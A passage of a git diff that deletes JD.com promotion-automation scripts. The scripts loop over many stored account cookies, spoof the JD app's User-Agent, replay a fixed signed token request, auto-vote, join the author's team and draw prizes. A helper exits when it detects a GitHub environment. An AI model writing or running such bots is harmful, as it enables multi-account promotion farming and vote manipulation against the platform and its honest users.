`jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_golden_machine.js b/backUp/jd_golden_machine.js deleted file mode 100644 index 6bd1b85..0000000 --- a/backUp/jd_golden_machine.js +++ /dev/null @@ -1,488 +0,0 @@ -/** -活动路径 首页搜索 金机馆 -cron 33 4,7 8-20 8 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_golden_machine.js -第一个账号参加作者内置的团,其他账号参加第一个账号的团 - */ -const $ = new Env('金机奖投票'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -$.authorizationInfo = {}; -$.joinTeamLsit = []; -$.inviteList = []; -$.authorCode = ''; -let res = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/goldPhone.json');}catch (e) {} - if(!res){ - try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/goldPhone.json');}catch (e) {} - if(!res){res = [];} - } - if(res && res.length > 0){ - $.authorCode = getRandomArrayElements(res,1)[0]; - } - for (let i = 0; i < cookiesArr.length; i++) { - await getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - await $.wait(1000); - $.authorizationInfo[$.UserName] = $.authorization; - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - -async function main() { - $.token = ``; - await getToken(); - if($.token === `` || !$.token){ - console.log(`获取token失败`);return; - } - console.log(`token:${$.token}`); - await $.wait(1000); - $.authorization = ``; - await getJdUserInfo(); - if($.authorization === ``){ - console.log(`获取authorization失败`);return; - } - await $.wait(1000); - $.useInfo = {}; - await takeGetRequest('get_user_info'); - if(JSON.stringify($.useInfo) === `{}` || $.useInfo.status_code === 403){ - console.log(`获取用户信息失败,可能是黑号`);return; - } - console.log(`组队码:${$.useInfo.code}`); - await $.wait(1000); - $.homeInfo = {}; - await takeGetRequest('get_home_info'); - if(JSON.stringify($.homeInfo) === `{}`){ - console.log(`获取活动详情失败`);return; - } - if($.useInfo.member_team_id === 0 && $.authorCode){ - console.log(`去参团: ${$.authorCode}`) - await takePostRequest('join_team'); - }else{ - console.log(`已参团`); - } - if($.index === 1){ - $.authorCode = $.useInfo.code - } - $.needVoteList = $.homeInfo.hard_list; - await doVote(); - $.needVoteList = $.homeInfo.soft_list; - await doVote(); - $.teamInfo = {} - $.type = 1; - await takeGetRequest('team_info'); - console.log(`自己队伍分数:${$.teamInfo.team_vote_total}`); - await $.wait(2000); - if(Number($.teamInfo.my_vote_total) > 0){ - if($.teamInfo.draw_total_first === 0 && $.teamInfo.team_vote_total >= 80){ - console.log(`去抽奖1`); - $.draw_type = 1; - await takePostRequest('draw_prize'); - await $.wait(2000); - } - if($.teamInfo.draw_total_second === 1 && $.teamInfo.team_vote_total >= 180){ - console.log(`去抽奖2`); - $.draw_type = 2; - await takePostRequest('draw_prize'); - await $.wait(2000); - } - } - $.type = 2; - await takeGetRequest('team_info'); - console.log(`加入队伍分数:${$.teamInfo.team_vote_total}`); - await $.wait(2000); - if(Number($.teamInfo.my_vote_total) > 0){ - if($.teamInfo.draw_total_first === 0 && $.teamInfo.team_vote_total >= 80){ - console.log(`去抽奖3`); - $.draw_type = 1; - await takePostRequest('draw_prize'); - await $.wait(2000); - } - if($.teamInfo.draw_total_second === 1 && $.teamInfo.team_vote_total >= 180){ - console.log(`去抽奖4`); - $.draw_type = 2; - await takePostRequest('draw_prize'); - await $.wait(2000); - } - } - await takeGetRequest('my_prize'); -} - -async function doVote(){ - for (let i = 0; i < $.needVoteList.length; i++) { - $.oneVoteInfo = $.needVoteList[i]; - if($.oneVoteInfo.is_vote === 1){ - console.log(`${$.oneVoteInfo.name},已投票`); - continue; - } - $.productList = $.oneVoteInfo.product_list; - $.productList = $.productList.sort(compare('vote_total')); - $.productInfo = $.productList[0]; - console.log(`${$.oneVoteInfo.name},去投票,投给${$.productInfo.product_name}`); - await takePostRequest('product_vote'); - await $.wait(2000); - } -} - -function compare(property){ - return function(a,b){ - var value1 = a[property]; - var value2 = b[property]; - return value2 - value1; - } -} -async function takeGetRequest(type){ - let url= `https://xinrui1-isv.isvjcloud.com/gapi/${type}`; - if( type === 'team_info'){ - url = `https://xinrui1-isv.isvjcloud.com/gapi/team_info?type=${$.type}`; - }else if(type === 'my_prize'){ - url = `https://xinrui1-isv.isvjcloud.com/gapi/my_prize?type=5&page=1` - } - let myRequest = getGetRequest(url); - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function takePostRequest(type){ - let url = ''; - let body = ''; - switch (type) { - case 'product_vote': - body= JSON.stringify({"position_id":$.oneVoteInfo.id,"product_id":$.productInfo.id}); - url = `https://xinrui1-isv.isvjcloud.com/gapi/product_vote`; - break; - case 'join_team': - body= JSON.stringify({"inviter_id":$.authorCode}); - url = `https://xinrui1-isv.isvjcloud.com/gapi/join_team`; - break; - case 'draw_prize': - body= JSON.stringify({"type":$.type ,"draw_type":$.draw_type}); - url = `https://xinrui1-isv.isvjcloud.com/gapi/draw_prize`; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url,body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if(data){ - dealReturn(type, data); - }else{ - //console.log(`为空`) - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function dealReturn(type, data) { - try { - data = JSON.parse(data); - }catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'get_home_info': - if(data){ - $.homeInfo = data; - } - break; - case 'get_user_info': - if(data){ - $.useInfo = data; - } - break; - case 'home_task_info': - if(data){ - $.taskInfo = data; - } - break; - case 'product_vote': - if(data){ - console.log(`投票成功,获得豆子:${data.beans_num || 0}`); 